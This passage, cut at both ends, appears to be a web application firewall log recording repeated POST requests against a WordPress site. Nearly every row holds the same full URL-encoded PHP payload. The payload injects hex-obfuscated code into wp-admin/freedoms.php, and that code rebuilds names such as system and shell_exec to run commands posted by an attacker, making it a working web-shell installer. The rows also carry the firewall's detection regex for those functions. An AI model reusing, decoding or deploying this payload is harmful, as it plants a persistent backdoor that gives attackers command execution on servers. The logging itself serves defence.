2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:42:32","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:7280\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nGi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:42:37","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:7280\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nzA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handl